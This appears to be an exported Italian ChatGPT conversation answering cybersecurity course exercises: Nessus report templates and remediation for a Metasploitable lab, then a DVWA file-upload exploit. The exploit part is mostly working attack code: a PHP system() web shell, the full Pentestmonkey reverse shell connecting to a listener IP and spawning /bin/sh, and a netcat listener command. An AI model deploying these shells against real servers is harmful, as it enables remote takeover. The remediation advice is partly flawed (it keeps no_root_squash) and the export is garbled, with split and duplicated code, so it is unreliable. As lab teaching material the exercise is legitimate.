

Per creare un report completo, includeremo due sezioni: una tecnica dettagliata e una sintetica per i dirigenti. Ecco una guida su come strutturare entrambi i report, insieme a un esempio per ciascuno.

Report Tecnico (PDF)

Il report tecnico includerà:

1. **Introduzione**
2. **Metodologia**
3. **Risultati della Scansione**
4. **Dettagli delle Vulnerabilità**
5. **Raccomandazioni di Remediation**
6. **Conclusioni**

Struttura del Report Tecnico

1. Introduzione

- Descrizione dell'obiettivo dell'assessment
- Panoramica degli strumenti utilizzati (Nessus)

2. Metodologia

- Descrizione delle configurazioni di scansione
- Target specificato
- Tipologia di scan (Basic Network Scan, Advanced Scan)

3. Risultati della Scansione

- Tabella delle vulnerabilità trovate
- Porte e servizi vulnerabili
- Gravità delle vulnerabilità

4. Dettagli delle Vulnerabilità

- Analisi dettagliata di ciascuna vulnerabilità trovata
- Descrizione, gravità, impatto, soluzione proposta

5. Raccomandazioni di Remediation

- Passi specifici per mitigare ciascuna vulnerabilità
- Best practices di sicurezza

6. Conclusioni

- Sintesi dei principali rischi e raccomandazioni generali

Esempio di Report Tecnico

```
plaintext
# Vulnerability Assessment Report: Metasploitable

## 1. Introduzione
Questo report documenta i risultati di una scansione di vulnerabilità effettuata sulla macchina Metasploitable utilizzando Nessus. L'obiettivo è identificare e mitigare le vulnerabilità presenti.

## 2. Metodologia
La scansione è stata configurata come segue:
- Tipo di scansione: Basic Network Scan
- Target: Indirizzo IP della macchina Metasploitable
- Porte scansionate: 21, 22, 80, 139, 445, 3306

## 3. Risultati della Scansione
| Porta | Servizio | Vulnerabilità | Gravità |
|-----|-----|-----|-----|
| 21    | FTP      | Accesso anonimo consentito | Alta    |
| 22    | SSH      | Attacchi brute-force possibili | Media   |
| 80    | HTTP     | Versione obsoleta di Apache | Critica |

## 4. Dettagli delle Vulnerabilità
### Porta: 21 (FTP)
- **Descrizione**: Il servizio FTP consente accessi anonimi.
- **Gravità**: Alta
- **Impatto**: Gli attaccanti possono accedere al sistema senza autenticazione.
- **Soluzione**: Disabilitare gli accessi anonimi nel file di configurazione del server FTP.

### Porta: 22 (SSH)
- **Descrizione**: Il servizio SSH è vulnerabile ad attacchi brute-force.
- **Gravità**: Media
- **Impatto**: Gli attaccanti possono ottenere l'accesso non autorizzato tramite tentativi di login ripetuti.
- **Soluzione**: Implementare l'uso di chiavi SSH, limitare gli accessi tramite firewall, e configurare il file `sshd_config` per limitare i tentativi di accesso.

### Porta: 80 (HTTP)
- **Descrizione**: Il servizio HTTP utilizza una versione obsoleta di Apache con vulnerabilità note.
- **Gravità**: Critica
- **Impatto**: Gli attaccanti possono sfruttare vulnerabilità note per compromettere il server.
- **Soluzione**: Aggiornare Apache alla versione più recente e seguire le linee guida di sicurezza per la configurazione.

## 5. Raccomandazioni di Remediation
1. Disabilitare gli accessi anonimi per il servizio FTP.
2. Implementare misure di sicurezza avanzate per il servizio SSH.
3. Aggiornare il server Apache alla versione più recente e configurarlo seguendo le best practices.

## 6. Conclusioni
La scansione ha rilevato diverse vulnerabilità critiche e alte che richiedono immediata attenzione. Si raccomanda di implementare le soluzioni proposte per mitigare i rischi associati.
```

Report per Dirigenti (PDF)

Il report per i dirigenti includerà:

1. **Introduzione**
2. **Sintesi dei Risultati**
3. **Impatto delle Vulnerabilità**
4. **Raccomandazioni**
5. **Conclusioni**

Struttura del Report per Dirigenti

1. Introduzione

- Descrizione sintetica dell'obiettivo dell'assessment

2. Sintesi dei Risultati

- Tabella riassuntiva delle vulnerabilità trovate

3. Impatto delle Vulnerabilità

- Grafici che mostrano la distribuzione delle vulnerabilità per gravità

4. Raccomandazioni

- Raccomandazioni generali per mitigare i rischi

5. Conclusioni

- Riepilogo delle principali azioni da intraprendere

Esempio di Report per Dirigenti

```
plaintext
# Vulnerability Assessment Executive Summary: Metasploitable

## 1. Introduzione
Questo report fornisce una sintesi delle vulnerabilità identificate sulla
macchina Metasploitable. L'obiettivo è ottenere l'approvazione per implementare
le misure di sicurezza necessarie.

## 2. Sintesi dei Risultati
| Porta | Servizio | Vulnerabilità | Gravità |
|-----|-----|-----|-----|
| 21    | FTP      | Accesso anonimo consentito | Alta    |
| 22    | SSH      | Attacchi brute-force possibili | Media   |
| 80    | HTTP     | Versione obsoleta di Apache | Critica |

## 3. Impatto delle Vulnerabilità
![Grafico delle vulnerabilità per gravità](grafico_vulnerabilità.png)

## 4. Raccomandazioni
- Disabilitare gli accessi anonimi per il servizio FTP.
- Migliorare la sicurezza del servizio SSH implementando l'uso di chiavi SSH e
limitando gli accessi tramite firewall.
- Aggiornare il server Apache alla versione più recente.
```

5. Conclusioni

Le vulnerabilità identificate presentano rischi significativi per la sicurezza della nostra infrastruttura. Si raccomanda di implementare le misure correttive proposte per mitigare questi rischi e proteggere i nostri asset critici.

Grafico delle vulnerabilità

Per creare un grafico delle vulnerabilità per il report dei dirigenti, potete utilizzare uno strumento di visualizzazione dei dati come Excel o un software di grafica.

Esempio di Grafico (distribuzione delle vulnerabilità per gravità)

Creazione dei PDF

Utilizzate un editor di testo avanzato come Microsoft Word, Google Docs o LaTeX per compilare i report e poi esportarli in formato PDF.

Consegna dei Report

Una volta completati i report, salvate i file in formato PDF con nomi significativi:

- Vulnerability_Assessment_Tecnico_Metasploitable.pdf
- Vulnerability_Assessment_Esecutivo_Metasploitable.pdf

Effettuare una scansione completa sul target Metasploitable. Scegliete da un minimo di 2 fino ad un massimo di 4 vulnerabilità critiche e provate ad implementare delle azioni di rimedio. N.B. le azioni di rimedio, in questa fase, potrebbero anche essere delle regole firewall ben configurate in modo da limitare eventualmente le esposizioni dei servizi vulnerabili. Vi consigliamo tuttavia di utilizzare magari questo approccio per non più di una vulnerabilità. Per dimostrare l'efficacia delle azioni di rimedio, eseguite nuovamente la scansione sul target e confrontate i risultati con quelli precedentemente ottenuti. Ai fini della soluzione, abbiamo scelto le vulnerabilità in giallo nella figura . Scansione iniziale dove si vede il grafico con tutte le vulnerabilità e le vulnerabilità da risolvere (tecnico, già riassunto) - ScansioneInizio.pdf 2. 3. Screenshot e spiegazione dei passaggi

della remediation - RemediationMeta.pdf Scansione dopo le modifiche che evidenzia la risoluzione dei problemi/vulnerabilità (il grafico che mostra tutte le vulnerabilità) - ScansioneFine.pdf Oppure un report unico, a vostra scelta. Penso sia più comodo farne tre comunque. Nota: i report possono essere lasciati in inglese, senza problemi. Se risolvete le 4 vulnerabilità, potete risolverne una quinta (a scelta), ad esempio con una regola di firewall
ChatGPT

Per realizzare la scansione completa e risolvere le vulnerabilità critiche indicate, procederemo come segue:

Fase 1: Scansione Iniziale

1. **Effettuare la scansione** sulla macchina Metasploitable con Nessus, ottenendo i risultati iniziali e identificando le vulnerabilità critiche.
2. **Documentare i risultati** con un report PDF (ScansioneInizio.pdf) che include il grafico delle vulnerabilità e i dettagli delle vulnerabilità critiche selezionate:
 - o NFS Exported Share Information Disclosure
 - o rexecd Service Detection
 - o VNC Server 'password' Password
 - o Bind Shell Backdoor Detection

Fase 2: Implementazione delle Azioni di Rimedio

Per ciascuna vulnerabilità critica identificata, implementeremo le seguenti azioni di rimedio:

1. **NFS Exported Share Information Disclosure:**
 - o **Descrizione:** Il servizio NFS esporta condivisioni senza restrizioni adeguate.
 - o **Rimedio:** Configurare le esportazioni NFS per limitare gli accessi solo ai client autorizzati. Modificare il file `/etc/exports` come segue:

```
bash
/path/to/share
192.168.1.0/24(rw,sync,no_root_squash,no_subtree_check)
```

Dove `192.168.1.0/24` rappresenta la subnet autorizzata.

2. **rexecd Service Detection:**
 - o **Descrizione:** Il servizio `rexecd` è attivo e potrebbe essere sfruttato da attaccanti.
 - o **Rimedio:** Disabilitare il servizio `rexecd` se non necessario. Eseguire i seguenti comandi:

```
bash
sudo systemctl stop rexecd
sudo systemctl disable rexecd
```

3. **VNC Server 'password' Password:**
 - o **Descrizione:** Il server VNC è configurato con una password debole.
 - o **Rimedio:** Cambiare la password del server VNC con una password forte. Eseguire i seguenti comandi:

```
bash
vncpasswd
```

Seguire le istruzioni per impostare una nuova password.

4. **Bind Shell Backdoor Detection:**

- **Descrizione:** È stata rilevata una backdoor Bind Shell attiva.
- **Rimedio:** Identificare e rimuovere la backdoor. Eseguire i seguenti comandi per identificare i processi sospetti:

```
bash
netstat -antp
```

Terminare i processi non autorizzati e rimuovere i file associati. Configurare il firewall per bloccare le connessioni non autorizzate.

5. **Regola Firewall (opzionale):**

- **Descrizione:** Implementare una regola firewall per proteggere ulteriormente il sistema.
- **Rimedio:** Aggiungere una regola firewall per bloccare l'accesso alle porte vulnerabili da indirizzi IP non autorizzati. Eseguire i seguenti comandi:

```
bash
sudo ufw allow from 192.168.1.0/24 to any port 22
sudo ufw enable
```

Fase 3: Scansione Finale

1. **Eseguire una nuova scansione** con Nessus sulla macchina Metasploitable dopo aver implementato le azioni di rimedio.
2. **Documentare i risultati** della scansione finale in un report PDF (ScansioneFine.pdf) che evidenzia la risoluzione delle vulnerabilità.

Esempio di Report Unico (PDF)

Combineremo tutte le informazioni in un unico report PDF, diviso in tre sezioni principali:

1. **Scansione Iniziale:** Risultati e grafico delle vulnerabilità.
2. **Azioni di Rimedio:** Screenshot e spiegazione dei passaggi per la remediation.
3. **Scansione Finale:** Risultati e grafico delle vulnerabilità dopo le modifiche.

Esempio di Contenuto del Report Unico

```
plaintext
# Vulnerability Assessment Report: Metasploitable

## 1. Scansione Iniziale
### Risultati
| Severity | Score | Vulnerability Name |
|-----|-----|-----|
| Critical | 10.0 | NFS Exported Share Information Disclosure |
| Critical | 10.0 | rexecd Service Detection |
| Critical | 10.0 | VNC Server 'password' Password |
| Critical | 9.8 | Bind Shell Backdoor Detection |

### Grafico delle Vulnerabilità
![Vulnerability Graph] (scansione_inizio_grafico.png)
```

```
## 2. Azioni di Rimedio
### NFS Exported Share Information Disclosure
- **Descrizione**: Il servizio NFS esporta condivisioni senza restrizioni
  adeguate.
- **Rimedio**: Configurare `/etc/exports` per limitare l'accesso.
  ```plaintext
/path/to/share 192.168.1.0/24(rw,sync,no_root_squash,no_subtree_check)
```

- **Screenshot:**

## rexecd Service Detection

- **Descrizione:** Il servizio `rexecd` è attivo e potrebbe essere sfruttato.
- **Rimedio:** Disabilitare il servizio `rexecd`.

```
plaintext
sudo systemctl stop rexecd
sudo systemctl disable rexecd
```

- **Screenshot:**

## VNC Server 'password' Password

- **Descrizione:** Il server VNC è configurato con una password debole.
- **Rimedio:** Cambiare la password del server VNC.

```
plaintext
vncpasswd
```

- **Screenshot:**

## Bind Shell Backdoor Detection

- **Descrizione:** È stata rilevata una backdoor Bind Shell attiva.
- **Rimedio:** Identificare e rimuovere la backdoor. Bloccare le connessioni non autorizzate.

```
plaintext
netstat -antp
sudo ufw allow from 192.168.1.0/24 to any port 22
sudo ufw enable
```

- **Screenshot:**

# 3. Scansione Finale

## Risultati

Severity	Score	Vulnerability Name
Critical	10.0	NFS Exported Share Information Disclosure (Resolved)
Critical	10.0	rexecd Service Detection (Resolved)
Critical	10.0	VNC Server 'password' Password (Resolved)

Severity Score	Vulnerability Name
Critical 9.8	Bind Shell Backdoor Detection (Resolved)

## Grafico delle Vulnerabilità

markdown

### Passaggi per Creare il Report PDF

1. **Utilizzare un editor di testo** come Microsoft Word o Google Docs per compilare i contenuti.
2. **Inserire screenshot** e grafici come immagini nei punti appropriati del report.
3. **Esportare il documento** in formato PDF.

Questo approccio garantisce una documentazione completa e chiara delle vulnerabilità rilevate, delle azioni di rimedio implementate e dei risultati ottenuti dopo la mitigazione.

4o

Nella lezione pratica di oggi vedremo come sfruttare un file upload sulla DVWA per caricare una semplice shell in PHP. Monitoreremo tutti gli step con BurpSuite Traccia: Configurare il vostro laboratorio virtuale in modo tale che la macchina Metasploitable sia raggiungibile dalla macchina Kali Linux. Assicuratevi che ci sia comunicazione tra le due macchine. Lo scopo dell'esercizio di oggi è sfruttare la vulnerabilità di «file upload» presente sulla DVWA per prendere controllo della macchina ed eseguire dei comandi da remoto tramite una shell in PHP. Inoltre, per familiarizzare sempre di più con gli strumenti utilizzati dagli Hacker Etici, vi chiediamo di intercettare ed analizzare ogni richiesta verso la DVWA con BurpSuite. Accedete alla DVWA dalla macchina Kali via browser, vi consigliamo di mantenere sempre aperta una sessione di BurpSuite per intercettare ogni richiesta e analizzare il contenuto. Prima di iniziare configurate il «security level» della DVWA a «LOW» dalla scheda DVWA Security. Successivamente spostatevi sulla scheda Upload per mettere in pratica il vostro exploit. Consegna: 1. Codice php 2. Risultato del caricamento (screenshot del browser) 3. Intercettazioni (screenshot di burpsuite) 4. Risultato delle varie richieste 5. Eventuali altre scoperte della macchina interna 6. BONUS: usare una shell php più sofisticata ChatGPT

Per questa lezione pratica, seguiremo i passaggi necessari per sfruttare la vulnerabilità di "file upload" presente sulla DVWA (Damn Vulnerable Web Application) e caricare una shell in PHP, monitorando ogni passaggio con BurpSuite. Ecco come configurare il laboratorio e completare l'esercizio:

## Configurazione del Laboratorio

### 1. Configurare la rete virtuale:

- Configurare Metasploitable e Kali Linux in modo che siano nella stessa rete virtuale e possano comunicare tra loro.
- Verificare la connettività usando ping:

```
bash
ping [IP_di_Metasploitable] -c 4
ping [IP_di_Kali_Linux] -c 4
```

### 2. Accedere a DVWA su Metasploitable:

- Avviare Metasploitable e accedere alla DVWA tramite il browser di Kali Linux usando l'URL: `http://[IP_di_Metasploitable]/dvwa`.



### 3. Configurare DVWA:

- Accedere a DVWA con le credenziali (di default `admin:password`).
- Impostare il livello di sicurezza a "LOW" tramite la scheda "DVWA Security".

## Passaggi per l'Exploit

### Passaggio 1: Creazione della Shell PHP

Creare una semplice shell in PHP. Salvare il seguente codice in un file chiamato `shell.php`:

```
php
<?php
if(isset($_REQUEST['cmd'])) {
 $cmd = $_REQUEST['cmd'];
 system($cmd);
}
?>
```

### Passaggio 2: Intercettazione con BurpSuite

#### 1. Configurare BurpSuite:

- Avviare BurpSuite e configurare il browser di Kali Linux per utilizzare il proxy di BurpSuite (generalmente `127.0.0.1:8080`).
- Attivare l'intercettazione su BurpSuite.

#### 2. Caricamento del File:

- Andare alla scheda "Upload" di DVWA.
- Caricare il file `shell.php`.
- Intercettare la richiesta con BurpSuite, modificare il tipo di contenuto se necessario e inviare la richiesta.

### Passaggio 3: Esecuzione della Shell

#### 1. Accedere alla Shell:

- Una volta caricato il file, accedere alla shell tramite il browser visitando:  
`http://[IP_di_Metasploitable]/dvwa/hackable/uploads/shell.php`.
- Eseguire comandi tramite la shell aggiungendo parametri all'URL, ad esempio:  
`http://[IP_di_Metasploitable]/dvwa/hackable/uploads/shell.php?cmd=whoami`.

## Consegna

### 1. Codice PHP

Il codice della shell PHP da caricare:

```
php
<?php
if(isset($_REQUEST['cmd'])) {
 $cmd = $_REQUEST['cmd'];
 system($cmd);
}
?>
```

## 2. Risultato del Caricamento (Screenshot del Browser)

Uno screenshot che mostra la conferma del caricamento del file sulla DVWA.

## 3. Intercettazioni (Screenshot di BurpSuite)

Screenshot delle richieste intercettate durante il caricamento del file PHP.

## 4. Risultato delle Varie Richieste

Screenshot dei risultati ottenuti eseguendo comandi tramite la shell PHP (ad esempio, output di `whoami` o `ls`).

## 5. Eventuali Altre Scoperte della Macchina Interna

Qualsiasi altra vulnerabilità o informazione sensibile trovata sulla macchina Metasploitable durante l'esercizio.

## 6. BONUS: Usare una Shell PHP Più Sofisticata

Per il bonus, caricare una shell PHP più sofisticata come Pentestmonkey's PHP Reverse Shell. Modificare il codice per riflettere l'indirizzo IP e la porta del listener Netcat su Kali Linux:

```
php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.0.1'; // Cambia questo con l'IP di Kali Linux
$port = 1234; // Cambia questa con la porta su cui Netcat ascolta
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
 $pid = pcntl_fork();

 if ($pid == -1) {
 printit("ERROR: Can't fork");
 exit(1);
 }

 if ($pid) {
 exit(0);
 }

 if (posix_setsid() == -1) {
 printit("Error: Can't setsid()");
 exit(1);
 }

 $daemon = 1;
} else {
 printit("WARNING: Failed to daemonise. This is quite common and not
fatal.");
}
```

```

}

chdir("/");
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
 exit(1);
}

$descriptorspec = array(
 0 => array("pipe", "r"),
 1 => array("pipe", "w"),
 2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
 exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
 if (feof($sock)) {
 printit("ERROR: Shell connection terminated");
 break;
 }

 if (feof($pipes[1])) {
 printit("ERROR: Shell process terminated");
 break;
 }

 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

 if (in_array($sock, $read_a)) {
 if ($debug) printit("SOCK READ");
 $input = fread($sock, $chunk_size);
 if ($debug) printit("SOCK: $input");
 fwrite($pipes[0], $input);
 }

 if (in_array($pipes[1], $read_a)) {
 if ($debug) printit("STDOUT READ");
 $input = fread($pipes[1], $chunk_size);
 if ($debug) printit("STDOUT: $input");
 fwrite($sock, $input);
 }

 if (in_array($pipes[2], $read_a)) {
 if ($debug) printit("STDERR READ");
 $input = fread($pipes[2], $chunk_size);
 if ($debug) printit("STDERR: $input");
 }
}

```

```

 fwrite($sock, $input);
 }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
 if (!$daemon) {
 print "$string\n";
 }
}
?>

```

Caricare questa shell e aprire una connessione Netcat su Kali Linux:

```

bash
nc -lvnp 1234

```

Quando il file viene caricato ed eseguito, Kali Linux dovrebbe ricevere una connessione reverse shell.

## Preparazione del Report

Completare tutti i passaggi, fare screenshot appropriati e compilare un report PDF che contenga:

1. **Codice PHP** della shell.
2. **Risultato del caricamento:** Screenshot della conferma del caricamento del file.
3. **Intercettazioni:** Screenshot delle richieste intercettate con BurpSuite.
4. **Risultato delle varie richieste:** Screenshot dei comandi eseguiti tramite la shell PHP.
5. **Altre scoperte:** Qualsiasi altra vulnerabilità o informazione sensibile trovata.
6. **Bonus:** Dettagli e screenshot della shell PHP più sofisticata.

Ecco come potrebbe essere strutturato il report:

```

plaintext
Exploiting File Upload Vulnerability on DVWA

1. Codice PHP
```php
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
}
?>

```

2. Risultato del Caricamento

3. Intercettazioni

4. Risultato delle Varie Richieste

5. Altre Scoperte

Descrizione di altre vulnerabilità o informazioni sensibili trovate sulla macchina.

6. BONUS: Shell PHP Più Sofisticata

Codice PHP

```
php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.0.1';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);
    }

    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise. This is quite common and not
fatal.");
}

chdir("/");
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}
```

```

$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {

```

```
    if (!$daemon) {  
        print "$string\n";  
    }  
}  
?>
```

Risultato del Reverse Shell

mathematica

Infine, salvare il report come PDF e consegnarlo.